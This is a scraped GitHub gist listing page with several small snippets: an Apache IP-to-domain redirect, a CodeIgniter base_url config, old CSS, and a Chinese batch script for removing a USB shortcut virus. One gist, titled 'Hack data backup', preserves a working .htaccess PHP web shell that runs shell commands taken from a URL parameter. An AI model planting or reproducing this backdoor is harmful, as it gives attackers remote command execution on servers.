Skip to content

Instantly share code, notes, and snippets.

View odoo_14_to_16_error.log
=======================================================
Odoo.sh: Uploading database to the Upgrade platform
Transfer started at 13-Mar 08:22 UTC
progress: 7% 13-Mar 08:22 UTC
progress: 26% 13-Mar 08:22 UTC
progress: 57% 13-Mar 08:22 UTC
progress: 88% 13-Mar 08:22 UTC
progress: 100% 13-Mar 08:22 UTC
The following log is the output of the upgrade process
@Barneybook
Barneybook / .htaccess
Last active May 7, 2020 09:32
IP 35.53.125.135 to abc.com (IP 跳轉 domain) Redirect IP address to Domain name Apache
View .htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^35\.53\.125\.135$
RewriteRule ^(.*)$ http://abc.com/$1 [L,R=301]
</IfModule>
@Barneybook
Barneybook / 刪除並修復隨身碟捷徑病毒v3.3.bat
Created May 13, 2019 06:45
刪除並修復隨身碟捷徑病毒v3.3.bat
View 刪除並修復隨身碟捷徑病毒v3.3.bat
@echo off
echo =========捷徑病毒修復程式說明=========
echo;
echo 編輯者:Lun 2017.12.06 版本:v3.3
echo;
echo 適用狀況:所有檔案皆變為捷徑檔、隨身碟點開變為捷徑。
echo;
echo 修復程式僅會刪除病毒檔案,其餘非病毒相關檔案並不影響。
echo;
echo 程式請以→右鍵→"系統管理員身分執行"
@Barneybook
Barneybook / 201805.md
Last active May 31, 2018 09:04
2018年5月各種紀錄
@Barneybook
Barneybook / Telegram_it_group_list.md
Last active March 11, 2023 04:26
Telegram 資訊相關 群組清單
View Telegram_it_group_list.md
@Barneybook
Barneybook / config.php
Last active June 9, 2022 03:21
Codeigniter base_url setting
View config.php
<?php
// false
$root = ($_SERVER['SERVER_PORT'] == 443 ? 'https' : 'http');
// false
$root = "http".((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "s" : "");
// false
$root = (empty($_SERVER['HTTPS']) OR strtolower($_SERVER['HTTPS']) === 'off') ? 'http' : 'https';
@Barneybook
Barneybook / .htaccess
Last active December 4, 2016 03:46
Hack data backup 20161202
View .htaccess
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']);?>
# BEGIN rlrssslReallySimpleSSL rsssl_version[2.4.1]
<IfModule mod_rewrite.c>
RewriteEngine on
@Barneybook
Barneybook / old_save_20160428.css
Created April 28, 2016 02:40
儲存舊版CSS
View old_save_20160428.css
/*小徽章*/
.award_bar img { width:39px;height: 39px; }
/*小徽章排排站*/
.award_bar {
background:url(http://blog.citytalk.tw/wp-content/uploads/2010/04/plurk_icon.png) no-repeat scroll 0px 60px; min-height:480px;
position:absolute !important;
margin-top:60px !important;
width:500px !important;
}